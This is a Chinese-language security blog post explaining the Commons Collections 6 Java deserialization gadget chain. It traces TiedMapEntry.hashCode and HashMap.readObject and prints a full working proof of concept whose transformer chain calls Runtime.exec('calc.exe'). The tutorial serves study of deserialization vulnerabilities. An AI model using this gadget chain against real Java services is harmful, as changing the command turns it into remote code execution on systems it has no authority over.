Java篇Commons Collections 6

Commons Collections 6

前面的三篇文章我们介绍完了cc1的链子,但朋友们不难发现,无论是TransformedMap,还是LazyMap,在Java高版本(8u71之后),都不能再利用了,主要问题是出在AnnotationInvocationHandler类中的,所以说我们这篇文章来介绍一条相对通用的链子,而这条链子就是CommonsCollections6

TiedMapEntry

我们都知道,想要触发利用链,需要找到地方去触发LazyMap中的get方法,然后后面的内容我们上一篇文章就已经说过了,所以说解决Java高版本利用问题的核心,实际上就是寻找上下文中是否还有其它调用LazyMap#get()

这时候我们找到的类就是org.apache.commons.collections.keyvalue.TiedMapEntry,我们来看看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.apache.commons.collections.keyvalue;
import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
// ...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^(value == null ? 0 : value.hashCode());
}
// ...
}

可以看到,在getValue()中调用了this.map.get(),然后在hashCode()中又调用了getValue(),所以说我们现在的核心就是找到哪里调用了TiedMapEntry中的hashCode()

ysoserial中,它是利⽤ java.util.HashSet#readObjectHashMap#put()HashMap#hash(key) 最后到 TiedMapEntry#hashCode()

但是p神发现太麻烦了,于是找到了在java.util.HashMap#readObject中就可以直接调用HashMap#hash(),然后再调用TiedMapEntry#hashCode()就行了

HashMap

于是说我们来看看HashMap的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
// ...
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// ...
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
// ...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

在这里我们可以看到hash(key),调用了hash方法,再去看hash方法里面调用了key.hashCode(),成功调用了hashCode方法,那么只要将这个key赋值为我们设置好的TiedMapEntry对象就好了,这样就成功调用TiedMapEntry#hashCode(),进而触发漏洞

完整POC

我们先来看看这条链子的思路,来自p神:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/

首先我们发现HashMap中的readObject()方法中可以调hash方法,而在hash()方法中会调用key.hashCode(),那我们就把需要执行hashCode方法的对象放在key位置上就好了,然后在TiedMapEntry中的hashCode方法里面会调用getValue方法,然后就可以触发LazyMap中的get方法,就和前面的cc1一样了,其实思路挺简单的,甚至我感觉比cc1更好理解,接下来就看poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6_1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),};
Transformer transformerChain = new ChainedTransformer(transformers);
// 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

image.png

大家如果有读过ysoserial的源码会发现和我写的可能有一些不一样,因为ysoserial中考虑的情况可能会更多一些,在实战中能应对更多复杂的情况,但相对的,里面就会有一些不是核心的代码,这里我就把它略过了,让大家只看核心过程,更加方便理解,当然,这不是最终POC哈,只是学习这个思路,最终的POC还得看下一篇文章,下一篇文章中再来和大家介绍ysoserial中进行的操作,以及进行这些操作的目的,进行完这些操作之后,生成最终的POC

哈哈哈哈话说今天还是情人节 祝天下的情人们节日快乐哈哈哈

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信